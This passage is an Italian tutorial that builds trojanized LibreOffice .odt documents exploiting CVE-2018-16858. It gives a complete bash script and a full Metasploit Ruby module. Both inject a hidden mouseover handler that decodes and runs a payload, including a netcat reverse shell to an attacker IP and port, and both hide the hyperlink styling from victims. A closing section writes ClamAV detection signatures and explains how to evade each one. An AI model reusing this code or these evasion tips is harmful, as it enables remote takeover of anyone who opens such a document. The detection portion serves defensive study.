Poiché a priori non si sa come sarà formato il file e dove posizionare lo stile all'interno del file degli stili, si procederà di nuovo a una semplificazione un po' grossolana ma efficace. Si cercheranno i tag di fine stile </style:style> e si aggiungerà alla fine la definizione di stile proposta. Non si saprà esattamente in quale posizione del file rimarrà il tag, ma permetterà di non dover definire regole più complesse per lasciare lo stile dei collegamenti ipertestuali senza sottolineature in modo che chi apre il file non sia a priori in grado di rilevare l'errore.
Analogamente al caso precedente, si procederà a tali modifiche tramite il comando sed che rimarrà nella seguente forma:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
Il caso è analogo al precedente e si fa quanto descritto nelle righe precedenti. Si visualizza a schermo il contenuto del file styles.xml.new e nel primo sed si sta cambiando il nome dello stile dei collegamenti ipertestuali aggiungendo un 2 alla fine. Nel secondo sed si aggiunge lo stile definito a mano e dopo la modifica si riversa tutto nel file styles.xml che sarà il file conservato, eliminando il file styles.xml.NEW tramite il comando rm.
L'ultimo passo sarà impacchettare tutto in un nuovo file zip tramite il comando linux zip. Di nuovo si può verificare se il comando ha avuto successo o meno tramite la variabile bash $? che restituirà 0 in caso di esecuzione riuscita.
Il codice di quest'ultima parte finale sarà il seguente:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
Il codice finale dello script completo avrà una forma simile alla seguente:if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;
In questa sezione verrà realizzato un modulo metasploit che permetterà di fare la stessa cosa che facevamo nel paragrafo precedente, ma integrandolo nella suite metasploit e avendo la capacità di utilizzare i payload integrati in tale suite. Si deve tenere presente che questo modulo genererà un file di tipo .odt e che si dovrà impostare un handler per poter connettersi all'host in cui viene aperto il documento office.
I moduli di metasploit sono solitamente programmati in linguaggio Ruby, e si utilizzano le librerie e classi di Ruby e proprie di metasploit per facilitare l'integrazione con il resto della suite.
Il modulo che si desidera generare si baserà sullo sfruttamento di un exploit la cui esecuzione implicherà l'uso di un payload che è ciò che si vuole eseguire. Pertanto il nostro modulo erediterà dalla classe di metasploit Msf::Exploit. Tra le particolarità di questa classe c'è che si può definire un payload da eseguire quando si utilizza il modulo.
Si lavorerà con file che verranno aperti e chiusi, così come con file zip, quindi si utilizzeranno anche le librerie fileutils e zip per poter decomprimere il file .odt e modificare il contenuto dei file content.xml e styles.xml.
L'intestazione del modulo inizierà quindi con le seguenti righe:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
Ora si inizierà a definire la classe che stiamo componendo, in cui, inizialmente, dovremo definire i vari attributi del modulo. Verranno inseriti tutti nella funzione di inizializzazione che effettuerà semplicemente una chiamata alla classe superiore super per inizializzare gli attributi della classe Exploit. In questa parte non c'è da programmare alcuna logica di programma, solo definire variabili e valori.
Per quanto riguarda la definizione degli attributi, gli attributi da definire saranno i seguenti:
Nome per definire il nome del modulo (Name). Descrizione che permette di fornire una descrizione che verrà mostrata quando si guarda l'aiuto del modulo (Description). Licenza per definire la licenza specifica che si desidera dare al modulo generato (License). Autore per definire chi o chi ha realizzato un determinato modulo (Author). Riferimenti in cui si dovrebbe citare il CVE o il riferimento dell'errore sfruttato nel modulo che si sta implementando (References). Piattaforma che permette di definire in quale sistema o sistemi operativi può essere utilizzato il modulo (Platform). Architettura che definirà in quale tipo di cpu può essere eseguito il modulo (Arch). Payload in cui si potranno definire caratteristiche del payload che può essere utilizzato all'interno dell'exploit ('Payload'). In questo attributo acquisirà particolare rilevanza la dimensione ('size'), molto correlata di solito alla dimensione del buffer che esegue il codice e se si deve o meno fare qualche trasformazione sui byte del payload per la sua esecuzione (DisableNops). Obiettivi, che hanno relazione con i payload che possono essere eseguiti tramite l'exploit che si sta definendo (Target). È importante definire bene questo attributo affinché l'utente del modulo non possa inserire payload errati durante l'esecuzione del modulo. Infine, opzioni da registrare permette l'introduzione di nuove variabili da utilizzare durante l'esecuzione dell'exploit (register_options). Verranno definiti nuovi elementi che possono essere di diversi tipi; nel caso che ci occupa, si definirà una variabile di tipo percorso in cui si definirà il percorso del file .odt che si desidera trojanizzare e un attributo di tipo stringa in cui si definisce il nuovo nome che avrà il file .odt in cui verrà salvato il file trojanizzato. In modo tale che il file originale non verrà modificato, ma verrà generato un nuovo file trojanizzato. Per definire un attributo di tipo percorso si chiamerà il costruttore della classe optPath e per quello di tipo stringa si utilizzerà la classe optString.
L'inizializzazione di tali attributi consiste semplicemente nell'assegnare valori; nel modulo rimarrà come segue:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
Con quanto definito nell'inizializzazione, siamo ora in grado di generare la parte logica dell'exploit in cui verranno eseguite le stesse azioni definite nell'exploit realizzato in bash ma questa volta nel linguaggio ruby utilizzato da metasploit. Si farà esattamente la stessa cosa ma utilizzando le funzionalità proprie del linguaggio ruby.
La funzione da definire, che è quella che chiama metasploit quando si scrive exploit o run nella msfconsole, deve chiamarsi exploit; all'interno di tale funzione verrà definito il programma stesso che esegue le azioni pertinenti in base agli attributi definiti nell'inizializzazione dell'oggetto che è stato creato.
La prima cosa da fare sarà verificare che i nomi dei file definiti dall'utente terminino con .odt. Questo si può fare controllando il contenuto delle variabili datastore['INPUT'] e datastore['OUTPUT']. Si può utilizzare il metodo to_s che lo convertirà in string e end_with che permette di definire se la stringa termina o meno con un determinato valore. Ad esempio la seguente chiamata:
datastore['INPUT'].to_s.end_with?('.odt')
Restituisce vero se il percorso dell'input termina con .odt o falso altrimenti. Pertanto il controllo rimarrà come segue:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
Una volta verificato questo, si inizierà a decomprimere il file per modificare il contenuto di content.xml e styles.xml nello stesso modo di quanto fatto nella sezione precedente. Si realizzerà tramite la classe Zip che permette di aprire e leggere i file zip in memoria senza bisogno di riversare il contenuto direttamente in un file di output. Si fa tramite una chiamata a Zip::File.open e chiamando tale metodo otterremo un oggetto che conterrà un attributo di tipo iteratore. Con tale attributo si potrà leggere ogni file che viene decompresso in memoria. La chiamata che effettueremo collegata al datastore generato (dove si trova il percorso verso il file .zip) e con il cui iteratore si salverà ogni file decompresso nella variabile entry sarà la seguente:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
Il file zip viene aperto in un oggetto chiamato zipfile e da questo si prende l'iteratore tramite each che viene salvato nella variabile entry. Tale variabile è dove si può accedere direttamente ai file già decompressi e ai loro attributi. Con entry.name si potrà accedere al nome del file originale; poiché si desidera modificare il file con nome styles.xml e contents.xml, tramite una semplice comparazione si potrà leggere il file per eseguire le modifiche. Il resto dei file verrà lasciato con il contenuto invariato. La variabile entry disporrà anche di un metodo chiamato get_input_stream in modo da poter gestire i file del zip in modo simile a se fossero file del disco rigido. La classe inputStream ha un metodo chiamato read che riversa direttamente tutto il contenuto del file in una variabile. Infine, la variabile entry dispone anche del metodo is_directory che permette di sapere se il file contenuto nel zip è un file o una directory, in modo che se è una directory si potrà ignorare e non leggere con il metodo read poiché è un elemento della struttura dello stesso zip che non ha contenuto di per sé. Con tutti questi metodi, siamo ora in grado di generare la struttura generale dell'algoritmo, che differenzierà se il file è uno dei file da modificare, si tratta di un file che non deve essere modificato o semplicemente di una directory. La struttura generale di tale parte sarà la seguente:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
Se il file da leggere si chiama content.xml si deve inserire il payload scelto dall'utente, se si chiama styles.xml si dovrà modificare lo stile dei collegamenti ipertestuali, e infine se non è nessuno di questi file, nel caso in cui non sia una directory, si dovrà semplicemente inserire il file senza alcuna modifica.
L'elaborazione ideale sarebbe inserire i file nel nuovo documento man mano che vengono letti, quindi così come è stato aperto il file in modalità lettura tramite la classe Zip, si aprirà un altro file in modalità scrittura in cui verranno inclusi i file nel file compresso al volo.
In modo simile si effettua una chiamata al metodo File.open della classe Zip e si utilizza la variabile restituita per inserire nel file da aprire i vari file che si desidera nel compresso di output. Il primo parametro del metodo è il nome del file che si ottiene dal nome che l'utente ha deciso tramite l'interfaccia di msfconsole. Si accede a tale nome tramite la variabile datastore['OUTPUT']. Come secondo parametro si specificherà che si desidera creare un nuovo file zip tramite la costante Zip::File::CREATE. In modo simile a come si apriva in lettura, qui la riga di programma che verrà inserita sarà la seguente:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Come detto, sarà la variabile outzip ad essere utilizzata per inserire nuovi dati nel zip. Così come per leggere un file dal zip si poteva utilizzare il metodo get_input_stream, nel caso di scrittura si utilizzerà l'analogo get_output_stream e si utilizzerà il metodo write per introdurre contenuti nel file. Il dato di input per il metodo get_output_stream è il nome del file. Pertanto, potendo accedere al nome del file letto tramite entry.name e al contenuto del file letto tramite entry.get_input_stream.read per leggere dal file zip il file e riversarlo nel file zip di output in modo diretto si può fare quanto segue:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
Come si può vedere, in data ci sarà il contenuto completo del file, quindi nel caso in cui il nome del file di input sia styles.xml o contents.xml si dovrà modificare tale contenuto prima di riversarlo; negli altri casi non sarà necessario modificare nulla.
Proprio come avveniva con il comando sed della console di comando, in Ruby si dispone della funzione gsub che funziona esattamente allo stesso modo di tale comando. Nel caso del file di stili, si potrà eseguire la funzione gsub nel modo seguente:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
Come si può vedere, nulla di particolarmente notevole in tale funzione. Si sta facendo esattamente la stessa cosa del caso dell'exploit in bash. Una volta eseguita tale modifica, si può riversare la variabile data nel file di output del zip.
Il caso del contents.xml richiede l'inserimento del payload selezionato dall'utente, quindi si dovrà caricare in una variabile in formato base64 per poi inserirlo nel punto necessario all'interno del file. Il contenuto del payload da eseguire si può accedere tramite la variabile payload e, poiché si necessita di un payload in formato eseguibile, si chiamerà il metodo encoded_exe() che permette di accedere a un payload in formato eseguibile anziché accedere alle istruzioni senza la parte necessaria per l'esecuzione come comando indipendente. Poiché si necessita di un formato base64, si codificherà il binario in base64 tramite la classe REX chiamando il metodo Text.encode_base64 che accetta come input i dati da codificare. Le istruzioni da inserire nel programma rimarranno come segue:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
Con ciò in b64_payload si ha il payload eseguibile in base64. Infine, si utilizzeranno modifiche analoghe a quelle effettuate nel comando sed, in cui verrà inserita la parola PAYLOAD al posto del codice base64 che applicavamo nella sezione precedente. A quanto ottenuto dopo tutte le modifiche, verrà aggiunto alla fine un nuovo gsub equivalente a un'ultima modifica in cui si sostituirà il letterale PAYLOAD con il contenuto della variabile b64_payload. Il codice rimarrà come segue:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
Con questo si sarebbe risolto tutto il funzionamento desiderato per il modulo; il codice completo del modulo sarà il seguente:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
Una volta generato, il programma verrà salvato in un file chiamato libreoffice.rb e copiato nel percorso /modules/exploits/linux/misc. La prossima volta che si esegue msfconsole, questo nuovo modulo verrà caricato. Potrà essere utilizzato come gli altri moduli eseguendo:
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
Dove si potranno visualizzare le opzioni:
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes Path and filename to existing .odt to inject the payload selected.
OUTPUT yes Path and filename to make a new infected .odt file.
Exploit target:
Id Name
-- ----
0 linux
E si potrà scegliere un file di input definendo un valore per INPUT, un valore per OUTPUT e impostando un payload compatibile con il comando set payload.
Dopo aver generato il file odt di output, si utilizzerà il gestore generico use exploit/multi/handler con un payload compatibile con quello scelto durante la generazione del file .odt
Come ultimo passo, si procederà a generare una serie di firme antivirus che permettano di rilevare il backdoor generato, al fine di prevenire tale minaccia. Poiché la maggior parte degli antivirus sono a codice chiuso, verrà utilizzato il software antivirus ClamAV, che è open source e può essere eseguito su tutte le piattaforme.
La prima firma da realizzare sarà una firma di tipo statico. Sono il tipo di firme più facili da realizzare, ma anche le più facili da bypassare o aggirare. Questo tipo di firme consisterà principalmente in un hash statico e una dimensione del file. Il formato richiesto dall'antivirus ClamAV prevede che in un file con estensione .hdb siano presenti righe che iniziano con l'hash (md5 o sha1) seguito dalla dimensione in byte e dal nome del virus desiderato. Ogni riga conterrà una sola definizione di virus e ogni campo sarà separato dal simbolo :.
Se si dispone del file exploit.odt di cui si desidera creare la firma, si potrà scegliere di calcolare l'hash md5 o sha1, operazione facilmente eseguibile tramite i comandi Linux md5sum e sha1sum. I comandi verranno eseguiti semplicemente con il nome del comando seguito dal file da calcolare, in modo simile al seguente:
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
Per calcolare la dimensione del file, il metodo più semplice è usare il comando ls passando il percorso del file in modo simile al seguente:
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
Si può quindi optare per generare un file con estensione .hdb con l'hash md5 o sha1 e la dimensione ottenuti, ottenendo:
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
Quando si esegue ClamAV, è necessario specificare che si utilizzerà il file di firme in fase di generazione. Quindi, per verificare i virus utilizzando il database chiamato LibreOfficeSign.hdb, si eseguirà nel modo seguente:
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
Questo tipo di firme sono molto suscettibili: qualsiasi modifica al malware farà sì che l'antivirus non lo riconosca più. L'hash utilizzato per la firma, sia md5 che sha1, con qualsiasi modifica a qualsiasi bit del file non verrà rilevato come virus. Basta semplicemente decomprimere il .odt generato e cambiare una qualsiasi lettera del testo del documento, ad esempio una a in A, per bypassare l'antivirus.
Si procederà quindi a realizzare una firma un po' più intelligente sfruttando il sistema di firme dinamiche di ClamAV. Questo tipo di firme deve essere inserito in un file con estensione .ndb invece di .hdb. Il formato delle firme all'interno del file, sebbene simile a quelle menzionate in precedenza, anziché utilizzare hash dell'intero file, utilizza identificatori all'interno del file. Verranno effettuati alcuni confronti di determinate stringhe di un file in modo che, se presenti, il file venga rilevato come malware.
Il formato inizia con il nome della minaccia, seguito dal tipo di file che deve contenere il malware. Il numero 0 corrisponde al fatto che il malware può trovarsi in qualsiasi tipo di file. Il numero 1 definisce che il malware colpisce solo un eseguibile exe a 32 o 64 bit, il 6 per definire che risiede solo nei file eseguibili di tipo ELF di Unix, o il 7 per definire che sono file di tipo ASCII. Il campo successivo specifica il numero di byte da cui iniziare il confronto dei byte della stringa che si desidera identificare all'interno del file. Si può utilizzare il wildcard * per definire che la stringa può iniziare in qualsiasi punto del file. Da lì, si specifica la stringa di byte che permette di identificare il malware. La definizione della ricerca sarà composta dai codici esadecimali uno dopo l'altro.
Uno dei modi per ottenere i codici esadecimali di un determinato file è utilizzare lo strumento sigtool: fornendo l'input in byte tramite l'input standard, restituirà direttamente la rappresentazione esadecimale pronta per essere utilizzata nella firma. Un altro strumento simile potrebbe essere hexdump, ma l'output che restituisce richiederà una certa modifica. Per semplicità, la firma verrà realizzata con lo strumento sigtool.
La parte del file che cercheremo nella seconda firma da realizzare sarà molto semplice: il percorso utilizzato con il directory traversal fino alla parte di esecuzione del file os.py, in modo che, anche se si modifica qualcosa nel file di Office, per eseguire il codice del backdoor è necessaria almeno quella ruta nel file. Per prima cosa si ottengono i caratteri esadecimali con il seguente comando:
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
È importante includere nel comando echo il parametro -n per evitare di stampare un carattere di newline alla fine. Il risultato del comando sigtool sarà la ricerca che verrà applicata come firma che l'antivirus potrà utilizzare per rilevare il .odt troyanizzato.
Non è possibile definire un offset concreto per l'inizio della ricerca poiché dipenderà dalla struttura di ciascun documento .odt, quindi nel campo offset verrà inserito un asterisco. Come tipo di file si definirà 1 in modo che la ricerca da parte dell'antivirus venga effettuata in qualsiasi tipo di file. Si definirà un nome e la firma finale potrebbe essere simile alla seguente:
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
La firma verrà salvata nel file LibreOfficeSign.ndb; ciò che conta è l'estensione del nome del file. Di nuovo, si potrebbe eseguire clamav per verificare se la firma generata rileva il trojan. Il risultato sarà simile al seguente:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)
Sebbene il modo per bypassare il rilevamento dell'antivirus utilizzando questa firma sia più complesso (non basta cambiare qualsiasi parte del testo del documento Office), si può comunque aggirare la scansione antivirus in modo relativamente semplice poiché per la definizione della firma è stato utilizzato un numero specifico di ../. Durante la generazione dell'exploit, il numero di salti verso l'alto deve essere impostato come un numero relativamente alto per consentire di raggiungere la directory root da qualsiasi percorso all'interno di Linux. Quindi, semplicemente eliminando uno dei ../ nel percorso, l'exploit continuerà a funzionare e ad eseguire il backdoor generato. Pertanto, si utilizzerà una definizione di firme leggermente più avanzata che permetta il rilevamento del malware utilizzando espressioni regolari, evitando firme troppo rigide che, con modifiche molto semplici, non rilevino il malware.
Si procederà a utilizzare una firma semplice che permetta di rilevare il malware non appena viene individuato un tentativo di directory traversal. Inoltre, a scopo puramente educativo, si utilizzerà il wildcard * che permette di definire un numero consecutivo indeterminato di qualsiasi carattere. Esistono altri wildcard simili, come ?? che permette di rilevare qualsiasi carattere ma che appaia una sola volta. Si può anche utilizzare il wildcard {n} per rilevare un numero n di byte, {-n} e {n-} per definire rispettivamente un numero di byte minore o uguale a n o maggiore o uguale a n.
Si utilizzerà la sezione di byte che precederebbe il directory traversal, definita dai dati pythonSamples| che dovranno essere ottenuti in formato esadecimale:
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c
Si otterrà anche il codice esadecimale di ../ allo stesso modo:
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f
Pertanto, la firma da aggiungere al file sarà la concatenazione di entrambe le sequenze di caratteri esadecimali tramite un , ovvero 707974686f6e53616d706c65737c2e2e2f. La firma completa che rimarrà nel file LibreOfficeSign.ndb sarà la seguente:
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f
Effettuando la verifica rimuovendo uno dei ../ da ciascun collegamento ipertestuale nel file contents.xml, ricomponendo il file .odt e verificandolo con l'antivirus, il risultato sarà il seguente:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)